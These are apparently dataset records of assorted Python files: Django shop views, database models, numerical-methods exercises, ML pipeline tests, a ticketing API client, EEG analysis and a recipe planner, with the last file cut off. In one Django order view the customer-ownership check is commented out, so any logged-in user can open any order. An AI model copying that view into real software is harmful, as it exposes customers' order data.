**kwargs):\n if request.user.is_authenticated and userprofile.objects.filter(user=request.user).exists():\n order_id = self.kwargs[\"pk\"]\n orders = order.objects.get(orderid=order_id)\n #if request.user.customer != order.cart.customer:\n #return redirect(\"ecomapp:customerprofile\")\n else:\n return redirect(\"/login/\")\n return super().dispatch(request, *args, **kwargs)\n\n\n\ndef editprofile(request):\n \n profile = userprofile.objects.get(user=request.user)\n if request.method==\"POST\":\n mobile_ = request.POST['mobile']\n defa_address = request.POST['address']\n if userprofile.objects.filter(mobile=mobile_).exists():\n messages.info(request,\"Mobile No Aready in Use\")\n return redirect(\"http://127.0.0.1:8000/editprofile\")\n else:\n user_update = userprofile.objects.get(user=request.user)\n user_update.mobile=mobile_\n user_update.default_address=defa_address\n user_update.save()\n return redirect(\"http://127.0.0.1:8000/customerprofile2\")\n context = {'profile':profile}\n return render(request,'loyaltypoints/edit_profile.html',context)\n \ndef edit(request):\n userp = userprofile.objects.get(user=request.user)\n form = editform(initial={'mobile': userp.mobile,'default_address':userp.default_address,\"city\":userp.city})\n \n if request.method == \"POST\": \n form = editform(request.POST)\n if form.is_valid(): \n Mobile_ = form.cleaned_data.get(\"mobile\")\n Address_ = form.cleaned_data.get(\"default_address\")\n city_ = form.cleaned_data.get(\"city\")\n\n if city_=='Bengaluru':\n state_ = 'Karnataka'\n \n elif city_=='Chennai':\n state_ = 'Tamil Nadu'\n \n elif city_=='Hyderabad':\n state_ = 'Telangana'\n user_update = userprofile.objects.get(user=request.user)\n user_update.mobile=Mobile_\n user_update.default_address=Address_\n user_update.city=city_\n user_update.state=state_\n user_update.save()\n return redirect(\"loyaltypoints:customerprofile2\") \n context = {'form':form,'userp':userp} \n return render(request,\"loyaltypoints/edit_profile.html\",context)\n\ndef addressedit(request,slug):\n userp = userprofile.objects.get(user=request.user)\n form = editform(initial={'mobile': userp.mobile,'default_address':userp.default_address,\"city\":userp.city})\n\n if request.method == \"POST\": \n form = editform(request.POST) \n if form.is_valid(): \n Mobile_ = form.cleaned_data.get(\"mobile\")\n Address_ = form.cleaned_data.get(\"default_address\")\n city_ = form.cleaned_data.get(\"city\")\n\n if city_=='Bengaluru':\n state_ = 'Karnataka'\n \n elif city_=='Chennai':\n state_ = 'Tamil Nadu'\n \n elif city_=='Hyderabad':\n state_ = 'Telangana'\n user_update = userprofile.objects.get(user=request.user)\n user_update.mobile=Mobile_\n user_update.default_address=Address_\n user_update.city=city_\n user_update.state=state_\n user_update.save()\n return redirect(\"loyaltypoints:complete-order2\", slug=slug) \n context = {'form':form,'userp':userp} \n return render(request,\"loyaltypoints/changeaddress.html\",context)\n\n\n\n\n\n","sub_path":"loyaltypoints/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470972314","text":"import sqlalchemy\nfrom .db_session import SqlAlchemyBase\nfrom sqlalchemy import orm, Column\nfrom sqlalchemy_serializer import SerializerMixin\nfrom datetime import datetime\n\n\nassociation_table = sqlalchemy.Table('users-rooms', SqlAlchemyBase.metadata,\n sqlalchemy.Column('user', sqlalchemy.Integer,\n sqlalchemy.ForeignKey('users.id')),\n sqlalchemy.Column('room', sqlalchemy.Integer,\n sqlalchemy.ForeignKey('rooms.id')))\n\n\nclass User(SqlAlchemyBase, SerializerMixin):\n __tablename__ = 'users'\n\n id = Column(sqlalchemy.Integer,\n primary_key=True, autoincrement=True)\n name = Column(sqlalchemy.String)\n lastname = Column(sqlalchemy.String)\n # Здесь мы соединяем rooms и users с помощью вспомогательной таблицы\n rooms = orm.relation('Room',\n secondary=association_table,\n backref='users')\n","sub_path":"api/data/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"64544906","text":"import pathlib\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import log\n\ndef points_from_function(f, a, h, n, Array = True):\n x = h*np.arange(n+1) + a\n y = x.copy()\n if(Array):\n y = f(x)\n else:\n for i in range(n+1):\n y[i] = f(x[i])\n \n return x, y\n\nn = 30 #Кількість інтервалів \na = 1. #Початок інтервалу\nb = 2. #Кінець інтервалу\nh = (b-a)/n #Довжина інтервалу\neps = 10**(-5)\n\n\ndef new_points_with_nuton(X,x,F):#a - скаляр\n n1 = x.shape[0]\n Result = np.zeros(X.shape) + F[n1-1]\n for i in range(n1-1):\n Result *= (X - x[n1-(i+2)])\n Result += F[n1-(i+2)]\n\n return Result\n\n\ndef predict_d_f_with_nuton(X,x,y, rev = False):\n if(rev):\n x = np.flip(x)\n y = np.flip(y)\n n1 = x.shape[0]\n Dx = x\n F = y.copy()\n Fy = y.copy()\n\n for i in range(n1 - 1):\n Dx = x[:-(i+1)] - x[(i+1):]\n F[i] = Fy[0]\n Fy = (Fy[:-1] - Fy[1:])/Dx\n F[n1-1] = Fy[0]\n\n X_plus = X + eps\n X_minus = X - eps\n \n return (new_points_with_nuton(X_plus,x,F)-new_points_with_nuton(X_minus,x,F))/(X_plus - X_minus) #Рекурсувно знаходимо точки\n\n\ndef pol_without_i(a,x,i):#a - скаляр\n x_a = x - a\n x_a[i] = 1\n return x_a.prod()\n\n\ndef new_point_with_lagrange(a,x,y):#a - скаляр\n n1 = x.shape[0]\n \n result = 0\n for i in range(n1):\n result += y[i]*( pol_without_i(a,x,i)/pol_without_i(x[i],x,i) )\n \n return result\n\ndef predict_d_f_with_lagrange(X,x,y, rev = False):\n Result = np.zeros(X.shape)\n for i in np.arange(X.shape[0]):\n Result[i] = (new_point_with_lagrange(X[i]+eps, x,y) - new_point_with_lagrange(X[i]-eps, x,y) )/(2*eps)\n return Result\n\ndef d_f_with_rizn2(x,y):#x должно иметь минимум 3 елемента\n Result = np.zeros(x.shape)\n Result[1:-1] = (y[:-2] - y[2:])/(x[:-2] - x[2:])\n Result[0] = Result[1]\n Result[-1] = Result[-2]\n return Result\n\n\ndef predict_d_f_with_rizn2(X,x,y):\n return d_f_with_rizn2(x,y)\n\n\ndef d_f_with_rizn4(x,y):#x должно иметь минимум 5 елемента\n Result = np.zeros(x.shape)\n Result[1:-1] = (y[:-2] - y[2:])/(x[:-2] - x[2:])\n Result[2:-2] *= 4./3\n Result[2:-2] -= (1./3)*( (y[:-4] - y[4:])/(x[:-4] - x[4:]) )\n Result[0] = Result[1]\n Result[-1] = Result[-2]\n return Result\n\n\ndef predict_d_f_with_rizn4(X,x,y): # Функція заглушка\n return d_f_with_rizn4(x,y)\n\n \n\ndef test_der(F,f,d_f,x0,h,predict_d_f, i = 0):#predict_d_f - функция предсказатель\n x, y = points_from_function(F, x0, h, n)\n predict_d = predict_d_f(x,x,y) # Наближення першої похідної\n plt.plot(x,f(x))\n plt.plot(x,predict_d)\n plt.title(\"1 похідна\")\n plt.legend([\"функція\", \"набилження\"])\n plt.savefig(str(pathlib.Path().absolute()) + \"\\\\\" + str(i) + 'figdx.png',format = \"png\")\n plt.close()\n\n predict_dd = predict_d_f(x,x,predict_d) # Наближення другої похідної\n plt.plot(x,d_f(x))\n plt.plot(x,predict_dd)\n plt.title(\"2 похідна\")\n plt.legend([\"функція\", \"наближення\"])\n plt.savefig(str(pathlib.Path().absolute()) + '\\\\' + str(i) + 'figdxx.png',format = \"png\")\n plt.close()\n\n\n\n\nF = lambda x: 1/3*(np.log(x/(2*x + 3))) #Інтеграл функції\nf = lambda x: 1./(x*(3+2*x)) #Функція\ndf = lambda x: (-4*x - 3)/(x**2*(3 + 2*x)**2) #Похідна\n\n\ntest_der(F,f,df,a,h,predict_d_f_with_nuton,0)\ntest_der(F,f,df,a,h,predict_d_f_with_lagrange,1)\ntest_der(F,f,df,a,h,predict_d_f_with_rizn2, 2)\ntest_der(F,f,df,a,h,predict_d_f_with_rizn4,3)\n\n\n#Формули Ньютона-Котеса\n\n\nx, y = points_from_function(f, a, h, n)\n\nAnalyticalValue = F(b) - F(a)\nSimpsonsRule = h/3*(y[0] + 2*sum(y[2:n-1:2]) + 4*sum(y[1:n:2]) + y[-1]) #Формула Сімпсона\nSimpsonsRule38 = 3*h/8*(y[0] + 3*sum(y[1:n-1:3]) + 3*sum(y[2:n:3]) + 2*sum(y[3:n-2:3]) + y[-1]) #Формула Сімпсона 3/8\n\nBoolesRule = 2*h/45*(7*y[0] + 7 * y[-1] + 32*sum(y[1:n:2]) + 12*sum(y[2:n-1:4]) + 14*sum(y[4:n-3:4])) #Формула Буля\nprint(\"Аналітичне значення : \" + str(AnalyticalValue))\n\nprint(\"Simposns Rule : \" + str(SimpsonsRule) + \" Difference : \" + str(abs(AnalyticalValue - SimpsonsRule)))\nprint(\"Simpson38 Rule : \" + str(SimpsonsRule38) + \" Difference : \" + str(abs(AnalyticalValue - SimpsonsRule38)))\nprint(\"Booles Rule : \" + str(BoolesRule) + \" Difference : \" + str(abs(AnalyticalValue - BoolesRule)))\n\n\n","sub_path":"Sources/Lab2CHM.py","file_name":"Lab2CHM.py","file_ext":"py","file_size_in_byte":4667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"97549043","text":"import os\nfrom copy import deepcopy\nfrom random import seed\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nfrom sklearn.datasets import load_iris\n\nfrom core.composer.chain import Chain\nfrom core.composer.node import PrimaryNode, SecondaryNode\nfrom core.models.data import InputData, train_test_data_setup\nfrom core.repository.dataset_types import DataTypesEnum\nfrom core.repository.tasks import Task, TaskTypesEnum\nfrom core.utils import probs_to_labels\n\nseed(1)\nnp.random.seed(1)\n\n\n@pytest.fixture()\ndef data_setup():\n predictors, response = load_iris(return_X_y=True)\n np.random.shuffle(predictors)\n np.random.shuffle(response)\n predictors = predictors[:100]\n response = response[:100]\n data = InputData(features=predictors, target=response, idx=np.arange(0, 100),\n task=Task(TaskTypesEnum.classification),\n data_type=DataTypesEnum.table)\n return data\n\n\n@pytest.fixture()\ndef file_data_setup():\n test_file_path = str(os.path.dirname(__file__))\n file = 'data/simple_classification.csv'\n input_data = InputData.from_csv(\n os.path.join(test_file_path, file))\n input_data.idx = _to_numerical(categorical_ids=input_data.idx)\n return input_data\n\n\ndef _to_numerical(categorical_ids: np.ndarray):\n encoded = pd.factorize(categorical_ids)[0]\n return encoded\n\n\n@pytest.mark.parametrize('data_fixture', ['data_setup', 'file_data_setup'])\ndef test_nodes_sequence_fit_correct(data_fixture, request):\n data = request.getfixturevalue(data_fixture)\n train, _ = train_test_data_setup(data)\n first = PrimaryNode(model_type='logit')\n second = SecondaryNode(model_type='lda', nodes_from=[first])\n third = SecondaryNode(model_type='qda', nodes_from=[first])\n final = SecondaryNode(model_type='knn', nodes_from=[second, third])\n\n train_predicted = final.fit(input_data=train)\n\n assert final.descriptive_id == (\n '((/n_logit_default_params;)/'\n 'n_lda_default_params;;(/'\n 'n_logit_default_params;)/'\n 'n_qda_default_params;)/'\n 'n_knn_default_params')\n\n assert train_predicted.predict.shape[0] == train.target.shape[0]\n assert final.cache.actual_cached_state is not None\n\n\ndef test_chain_hierarchy_fit_correct(data_setup):\n data = data_setup\n train, _ = train_test_data_setup(data)\n first = PrimaryNode(model_type='logit')\n second = SecondaryNode(model_type='logit', nodes_from=[first])\n third = SecondaryNode(model_type='logit', nodes_from=[first])\n final = SecondaryNode(model_type='logit', nodes_from=[second, third])\n\n chain = Chain()\n for node in [first, second, third, final]:\n chain.add_node(node)\n\n train_predicted = chain.fit(input_data=train, use_cache=False)\n\n assert chain.root_node.descriptive_id == (\n '((/n_logit_default_params;)/'\n 'n_logit_default_params;;(/'\n 'n_logit_default_params;)/'\n 'n_logit_default_params;)/'\n 'n_logit_default_params')\n\n assert chain.length == 4\n assert chain.depth == 3\n assert train_predicted.predict.shape[0] == train.target.shape[0]\n assert final.cache.actual_cached_state is not None\n\n\ndef test_chain_sequential_fit_correct(data_setup):\n data = data_setup\n train, _ = train_test_data_setup(data)\n\n first = PrimaryNode(model_type='logit')\n second = SecondaryNode(model_type='logit', nodes_from=[first])\n third = SecondaryNode(model_type='logit', nodes_from=[second])\n final = SecondaryNode(model_type='logit', nodes_from=[third])\n\n chain = Chain()\n for node in [first, second, third, final]:\n chain.add_node(node)\n\n train_predicted = chain.fit(input_data=train, use_cache=False)\n\n assert chain.root_node.descriptive_id == (\n '(((/n_logit_default_params;)/'\n 'n_logit_default_params;)/'\n 'n_logit_default_params;)/'\n 'n_logit_default_params')\n\n assert chain.length == 4\n assert chain.depth == 4\n assert train_predicted.predict.shape[0] == train.target.shape[0]\n assert final.cache.actual_cached_state is not None\n\n\ndef test_chain_with_datamodel_fit_correct(data_setup):\n data = data_setup\n train_data, test_data = train_test_data_setup(data)\n\n chain = Chain()\n node_data = PrimaryNode('direct_data_model')\n node_first = PrimaryNode('bernb')\n node_second = SecondaryNode('rf')\n node_second.nodes_from = [node_first, node_data]\n\n chain.add_node(node_data)\n chain.add_node(node_first)\n chain.add_node(node_second)\n\n chain.fit(train_data)\n results = np.asarray(probs_to_labels(chain.predict(test_data).predict))\n\n assert results.shape == test_data.target.shape\n\n\ndef test_secondary_nodes_is_invariant_to_inputs_order(data_setup):\n data = data_setup\n train, test = train_test_data_setup(data)\n first = PrimaryNode(model_type='logit')\n second = PrimaryNode(model_type='lda')\n third = PrimaryNode(model_type='knn')\n final = SecondaryNode(model_type='xgboost',\n nodes_from=[first, second, third])\n\n chain = Chain()\n for node in [first, second, third, final]:\n chain.add_node(node)\n\n first = deepcopy(first)\n second = deepcopy(second)\n third = deepcopy(third)\n final_shuffled = SecondaryNode(model_type='xgboost',\n nodes_from=[third, first, second])\n\n chain_shuffled = Chain()\n # change order of nodes in list\n for node in [final_shuffled, third, first, second]:\n chain_shuffled.add_node(node)\n\n train_predicted = chain.fit(input_data=train)\n\n train_predicted_shuffled = chain_shuffled.fit(input_data=train)\n\n # train results should be invariant\n assert chain.root_node.descriptive_id == chain_shuffled.root_node.descriptive_id\n assert np.equal(train_predicted.predict, train_predicted_shuffled.predict).all()\n\n test_predicted = chain.predict(input_data=test)\n test_predicted_shuffled = chain_shuffled.predict(input_data=test)\n\n # predict results should be invariant\n assert np.equal(test_predicted.predict, test_predicted_shuffled.predict).all()\n\n # change parents order for the nodes fitted chain\n nodes_for_change = chain.nodes[3].nodes_from\n chain.nodes[3].nodes_from = [nodes_for_change[2], nodes_for_change[0], nodes_for_change[1]]\n chain.nodes[3].cache.clear()\n chain.fit(train)\n test_predicted_re_shuffled = chain.predict(input_data=test)\n\n # predict results should be invariant\n assert np.equal(test_predicted.predict, test_predicted_re_shuffled.predict).all()\n\n\ndef test_chain_with_custom_params_for_model(data_setup):\n data = data_setup\n custom_params = dict(n_neighbors=1,\n weights='uniform',\n p=1)\n\n first = PrimaryNode(model_type='logit')\n second = PrimaryNode(model_type='lda')\n final = SecondaryNode(model_type='knn', nodes_from=[first, second])\n\n chain = Chain()\n chain.add_node(final)\n chain_default_params = deepcopy(chain)\n\n chain.root_node.custom_params = custom_params\n\n chain_default_params.fit(data)\n chain.fit(data)\n\n custom_params_prediction = chain.predict(data).predict\n default_params_prediction = chain_default_params.predict(data).predict\n\n assert not np.array_equal(custom_params_prediction, default_params_prediction)\n","sub_path":"test/test_chain.py","file_name":"test_chain.py","file_ext":"py","file_size_in_byte":7288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"606493720","text":"# 第12章のチャレンジ\r\n# http://tinyurl.com/gpqe62e\r\n\r\n# 'りんご'から思い浮かぶ4つの属性を考え,インスタンス変数に持たせて,Appleクラスを定義するプログラム\r\n# 名前,重さ,色,腐る性質をインスタンス変数に持たせる\r\nclass Apple:\r\n def __init__(self, n, w, c):\r\n self.name = n\r\n self.weight = w\r\n self.color = c\r\n self.mold = 0\r\n\r\n def rot(self, days, temp):\r\n self.mold = days * temp\r\n\r\n def sweetness(self):\r\n return 100 / self.weight\r\n\r\n# どうやら,変数の型はこの処理で決まるようだ\r\nap1 = Apple(\"Orin\", 50, \"red\")\r\nprint(ap1.name)\r\nprint(ap1.weight)\r\nprint(ap1.color)\r\n\r\n# 関数的な使い方だね\r\nap1.rot(14, 3)\r\nprint(ap1.mold)\r\n\r\nprint(ap1.sweetness())\r\n\r\n# 円を表すクラスに,面積を計算して返すメソッドを持たせ,結果を出力するプログラム\r\n\r\nimport math\r\n\r\nclass Circle:\r\n def __init__(self, r):\r\n self.radius = r\r\n \r\n def area(self):\r\n return math.pi * self.radius * self.radius\r\n\r\ncircle = Circle(5)\r\nprint(circle.area())\r\n\r\n# 三角形の面積を返すプログラム\r\n\r\nclass Triangle:\r\n def __init__(self, b, h):\r\n self.bottom = b\r\n self.height = h\r\n\r\n def area(self):\r\n return self.bottom * self.height / 2\r\n\r\n def change_size(self, b, h):\r\n self.bottom = b\r\n self.height = h\r\n\r\ntriangle = Triangle(7, 4)\r\nprint(triangle.area())\r\ntriangle.change_size(10, 5)\r\nprint(triangle.area())\r\n\r\n# 六角形を表すクラスを定義し,外周の長さを計算して返すメソッドを呼び出し,結果を出力するプログラム\r\n\r\nclass Hexagon:\r\n def __init__(self, s1, s2, s3, s4, s5, s6):\r\n self.side1 = s1\r\n self.side2 = s2\r\n self.side3 = s3\r\n self.side4 = s4\r\n self.side5 = s5\r\n self.side6 = s6\r\n \r\n def calculate_perimeter(self):\r\n return self.side1 + self.side2 + self.side3 + self.side4 + self.side5 + self.side6\r\n\r\nhexagon = Hexagon(1, 2, 3, 4, 5, 6)\r\nprint(hexagon.calculate_perimeter())","sub_path":"12.paradigm_charange.py","file_name":"12.paradigm_charange.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"532624351","text":"\"\"\"\nDeskPro API Client\n\"\"\"\n\nimport re\nimport requests\n\nfrom django.template import loader\nfrom django.conf import settings\n\nfrom peeringdb_server.models import DeskProTicket\nfrom peeringdb_server.inet import RdapNotFoundError\n\n\ndef ticket_queue(subject, body, user):\n \"\"\" queue a deskpro ticket for creation \"\"\"\n\n ticket = DeskProTicket.objects.create(\n subject=\"{}{}\".format(settings.EMAIL_SUBJECT_PREFIX, subject),\n body=body,\n user=user,\n )\n\n\nclass APIError(IOError):\n def __init__(self, msg, data):\n super(APIError, self).__init__(msg)\n self.data = data\n\n\ndef ticket_queue_asnauto_skipvq(user, org, net, rir_data):\n \"\"\"\n queue deskro ticket creation for asn automation action: skip vq\n \"\"\"\n\n if isinstance(net, dict):\n net_name = net.get(\"name\")\n else:\n net_name = net.name\n\n if isinstance(org, dict):\n org_name = org.get(\"name\")\n else:\n org_name = org.name\n\n ticket_queue(\n \"[ASNAUTO] Network '%s' approved for existing Org '%s'\" % (net_name, org_name),\n loader.get_template(\"email/notify-pdb-admin-asnauto-skipvq.txt\").render(\n {\"user\": user, \"org\": org, \"net\": net, \"rir_data\": rir_data}\n ),\n user,\n )\n\n\ndef ticket_queue_asnauto_affil(user, org, net, rir_data):\n \"\"\"\n queue deskro ticket creation for asn automation action: affil\n \"\"\"\n\n ticket_queue(\n \"[ASNAUTO] Ownership claim granted to Org '%s' for user '%s'\"\n % (org.name, user.username),\n loader.get_template(\"email/notify-pdb-admin-asnauto-affil.txt\").render(\n {\"user\": user, \"org\": org, \"net\": net, \"rir_data\": rir_data}\n ),\n user,\n )\n\n\ndef ticket_queue_asnauto_create(\n user, org, net, rir_data, asn, org_created=False, net_created=False\n):\n \"\"\"\n queue deskro ticket creation for asn automation action: create\n \"\"\"\n\n subject = []\n\n if org_created:\n subject.append(\"Organization '%s'\" % org.name)\n if net_created:\n subject.append(\"Network '%s'\" % net.name)\n\n if not subject:\n return\n subject = \", \".join(subject)\n\n ticket_queue(\n \"[ASNAUTO] %s created\" % subject,\n loader.get_template(\n \"email/notify-pdb-admin-asnauto-entity-creation.txt\"\n ).render(\n {\n \"user\": user,\n \"org\": org,\n \"net\": net,\n \"asn\": asn,\n \"org_created\": org_created,\n \"net_created\": net_created,\n \"rir_data\": rir_data,\n }\n ),\n user,\n )\n\n\ndef ticket_queue_rdap_error(user, asn, error):\n if isinstance(error, RdapNotFoundError):\n return\n error_message = \"{}\".format(error)\n\n if re.match(\"(.+) returned 400\", error_message):\n return\n\n subject = \"[RDAP_ERR] {} - AS{}\".format(user.username, asn)\n ticket_queue(\n subject,\n loader.get_template(\"email/notify-pdb-admin-rdap-error.txt\").render(\n {\"user\": user, \"asn\": asn, \"error_details\": error_message}\n ),\n user,\n )\n\n\nclass APIClient(object):\n def __init__(self, url, key):\n self.key = key\n self.url = url\n\n @property\n def auth_headers(self):\n return {\"Authorization\": \"key {}\".format(self.key)}\n\n def parse_response(self, response, many=False):\n r_json = response.json()\n if \"status\" in r_json:\n if r_json[\"status\"] >= 400:\n raise APIError(r_json[\"message\"], r_json)\n else:\n response.raise_for_status()\n data = r_json[\"data\"]\n if isinstance(data, list):\n if many:\n return r_json[\"data\"]\n elif data:\n return data[0]\n else:\n return data\n\n def get(self, endpoint, param):\n response = requests.get(\n \"{}/{}\".format(self.url, endpoint), params=param, headers=self.auth_headers\n )\n return self.parse_response(response)\n\n def create(self, endpoint, param):\n response = requests.post(\n \"{}/{}\".format(self.url, endpoint), json=param, headers=self.auth_headers\n )\n return self.parse_response(response)\n\n def require_person(self, user):\n person = self.get(\"people\", {\"primary_email\": user.email})\n if not person:\n person = self.create(\n \"people\",\n {\n \"primary_email\": user.email,\n \"first_name\": user.first_name,\n \"last_name\": user.last_name,\n \"name\": user.full_name,\n },\n )\n\n return person\n\n def create_ticket(self, ticket):\n person = self.require_person(ticket.user)\n ticket_response = self.create(\n \"tickets\",\n {\n \"subject\": ticket.subject,\n \"person\": {\"id\": person[\"id\"]},\n \"status\": \"awaiting_agent\",\n },\n )\n\n self.create(\n \"tickets/{}/messages\".format(ticket_response[\"id\"]),\n {\n \"message\": ticket.body.replace(\"\\n\", \"<br />\\n\"),\n \"person\": person[\"id\"],\n \"format\": \"html\",\n },\n )\n","sub_path":"peeringdb_server/deskpro.py","file_name":"deskpro.py","file_ext":"py","file_size_in_byte":5263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"327133998","text":"import logging\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom transformers import BertForSequenceClassification, BertTokenizer\nfrom args import args\n\n\n\n\n\n\ndef test_bert(text, model_path):\n\tdevice = 'cuda' if args.use_gpu and torch.cuda.is_available else 'cpu'\n\tdevice = 'cpu'\n\tdevice = torch.device(device)\n\n\t#prepare the text for bert\n\ttokenizer = BertTokenizer.from_pretrained('bert-base-uncased', do_lower_case=True)\n\tencoded_article = tokenizer.encode_plus(text, add_special_tokens=True, max_length=args.MAX_LEN,\n pad_to_max_length=True,\n return_attention_mask=True, return_tensors='pt')\n\ttext_ids = torch.tensor(encoded_article['input_ids'])\n\ttext_att_mask = torch.tensor(encoded_article['attention_mask'])\n\n #prepare the model\n\tmodel = load_model(model_path)\n\ttext_ids.to(device)\n\ttext_att_mask.to(device)\n\tmodel.to(device)\n\tmodel.eval()\n\n # forward pass\n\twith torch.no_grad():\n\t\tlogits = model(text_ids, token_type_ids=None, attention_mask=text_att_mask)\n\tpred = logits[0].cpu().data.numpy()\n\tpred_class = np.argmax(pred, axis=1)#description=0 quality=1, planning=2, currentInfo=3, generalInfo=4\n\treturn pred_class\n\n\n\n\n\n\ndef load_model(checkpoint_path):\n\tmodel = BertForSequenceClassification.from_pretrained(checkpoint_path, num_labels=args.num_label,\n output_attentions=False, output_hidden_states=False)\n\treturn model\n\n\n","sub_path":"bert.py","file_name":"bert.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"159435216","text":"import sys\nimport time\nfrom topomap_plot import plot_single_topomap\nfrom mne.channels.layout import _auto_topomap_coords as pos_from_raw\nimport mne\nimport numpy as np\nimport scipy.signal\nimport matplotlib.pyplot as plt\nimport seaborn as sea\n\nfrom utils import load_epochs_from_path\n\nbrain_freq_bands = {\n 'delta': (1, 4),\n 'theta': (4, 8),\n 'alpha': (8, 12),\n 'beta': (12, 30),\n 'gamma': (30, 45)\n}\n\nSAMPLING_RATE = 500.\n\n\n# Calculates an avg of the power within the given indexes\ndef avg_band_amplitude(power, lower_limit_index, upper_limit_index):\n range = power[:, lower_limit_index:upper_limit_index]\n return np.mean(range, axis=1)\n\n\n# Returns for each brain wave bandwidth the average amplitude within that bandwidth for each electrode\ndef extract_amplitudes(data, sampling_rate):\n frequencies, power = calculate_psd(data, sampling_rate)\n rescaled_power = 10 * np.log10(power)\n amplitudes = []\n for wave, band_range in brain_freq_bands.items():\n lower_index = next(index for index, value in enumerate(frequencies) if value > band_range[0])\n upper_index = next(index for index, value in enumerate(frequencies) if value > band_range[1])\n amplitudes.append(avg_band_amplitude(rescaled_power, lower_index, upper_index))\n return amplitudes\n\n\ndef calculate_psd(input_signal, sampling_rate):\n return scipy.signal.welch(x=input_signal, fs=sampling_rate)\n\n\ndef avg_amplitudes_per_epochs(epochs):\n avg_amplitudes_per_epoch = []\n for epoch in epochs:\n avg_amplitudes_per_epoch.append(extract_amplitudes(epoch, SAMPLING_RATE))\n return avg_amplitudes_per_epoch\n\n\ndef main():\n avg_amplitudes_per_epoch_s2 = avg_amplitudes_per_epochs(load_epochs_from_path(path='../data/S2_4chns.raw', events=20))\n avg_amplitudes_per_epoch_s4 = avg_amplitudes_per_epochs(load_epochs_from_path(path='../data/S4_4chns.raw', events=20))\n\n result_s2 = np.array(avg_amplitudes_per_epoch_s2)\n result_s4 = np.array(avg_amplitudes_per_epoch_s4)\n\n # Correlate all of the events, and each band from one subject with the same one from the other, with each channel with the same one\n corr = []\n '''for band in range(5):\n for channel in range(4):\n corr.append(np.corrcoef(x=result_s2[:, band, channel], y=result_s4[:, band, channel])[0][1])\n '''\n for band1 in range(5):\n for channel1 in range(4):\n corr1 = []\n for band2 in range(5):\n for channel2 in range(4):\n corr1.append((np.corrcoef(x=result_s2[:, band1, channel1], y=result_s4[:, band2, channel2])[0][\n 1] ** 2) * 100)\n corr.append(corr1)\n\n ax = sea.heatmap(\n corr,\n vmin=-1, vmax=1, center=0,\n cmap=sea.diverging_palette(20, 220, n=200),\n square=True\n )\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"signalprocessing/amplitude/amplitude_extraction_welch_evaluation.py","file_name":"amplitude_extraction_welch_evaluation.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150571705","text":"\"\"\"Describes a layout of tiles. See examples in LevelTest.py\"\"\"\nfrom Structures.Tile import WallTile, Tile\n\nclass Room:\n\n def __init__(self, tiles, position):\n self.upperLeft = position\n self.width = len(tiles)\n self.height = len(tiles[0])\n self.layout = self.generate_tiles(tiles)\n self.doors = {}\n\n def get_tile(self, pos):\n return self.layout[pos[0] - self.upperLeft[0]][pos[1] - self.upperLeft[1]]\n\n def get_origin(self):\n return self.upperLeft\n\n def room_width(self):\n return self.width\n\n def room_height(self):\n return self.height\n\n def addDoor(self, door, hall):\n self.doors[door] = hall\n\n def generate_tiles(self, tiles):\n grid = []\n x = len(tiles)\n y = len(tiles[0])\n offX = self.upperLeft[0]\n offY = self.upperLeft[1]\n for i in range(x):\n column = []\n for j in range(y):\n new_tile = None\n if tiles[i][j] == 0:\n new_tile = WallTile((i + offX, j + offY))\n elif tiles[i][j] == 1:\n new_tile = Tile((i + offX, j + offY))\n new_tile.set_room(self)\n column.append(new_tile)\n grid.append(column)\n return grid\n\n def return_neighbors(self):\n neighbors = []\n for door in self.doors:\n hall = self.doors[door]\n other = hall.otherside(self)\n neighbors.append(other)\n return neighbors\n\n \"\"\"Checks if there is a door at this position.\"\"\"\n def door_at(self, pos):\n for door in self.doors:\n if pos == door.get_position():\n return True\n return False\n\n\n\n\n\n","sub_path":"src/Room.py","file_name":"Room.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"134717287","text":"import random\nimport datetime\nfrom recepten import food_opties\nfrom ingredients import ingredienten\n\n#WORKING TITLE\n\n#Give the number of days\n#recipe list\n#^ or at least find a convenient way to display the information\n\ndef prijs(recept):\n \"\"\"Rekent de prijs uit van een recept \"\"\"\n prijs = 0\n for gerecht in food_opties[recept][1]:\n for key, value in ingredienten.items():\n if key == gerecht:\n prijs += value\n return prijs\n\n\ndef totale_prijs(lijst):\n \"\"\"Berekent de totale kosten van de week\"\"\"\n totale_prijs = 0\n for gerecht in lijst:\n totale_prijs += prijs(gerecht[0])\n return totale_prijs\n\n\ndef double_checker(keuze, lijst):\n \"\"\"Checkt dat er geen dubbele recepten in de week komen.\"\"\"\n while keuze in lijst:\n keuze = random.choice(food_opties.items())\n return keuze\n\n\ndef gerechten_kiezer(food_opties, dagen):\n \"\"\"Genereert lijst met recepten voor het aantal opgegeven dagen\"\"\"\n lijst = []\n\n if dagen > len(food_opties):\n print(\"Not enough recipes for a unique dish every.single.day.\\nPlease \"\n \"enter a lower number or add more recipes\")\n elif dagen <= len(food_opties):\n for x in range(1, (dagen + 1)):\n x = random.choice(food_opties.items())\n lijst.append(double_checker(x, lijst))\n return lijst #<------ WAT HIJ UITEINDELIJK GAAT DOEN.\n\n\ndef boodschappenlijst_generator(lijst):\n \"\"\"Maakt een booschappenlijst basic, zonder formatting\"\"\"\n boodschappenlijst = []\n for dag in lijst:\n for x in list(dag[1][1:]):\n for y in x:\n boodschappenlijst.append(y)\n 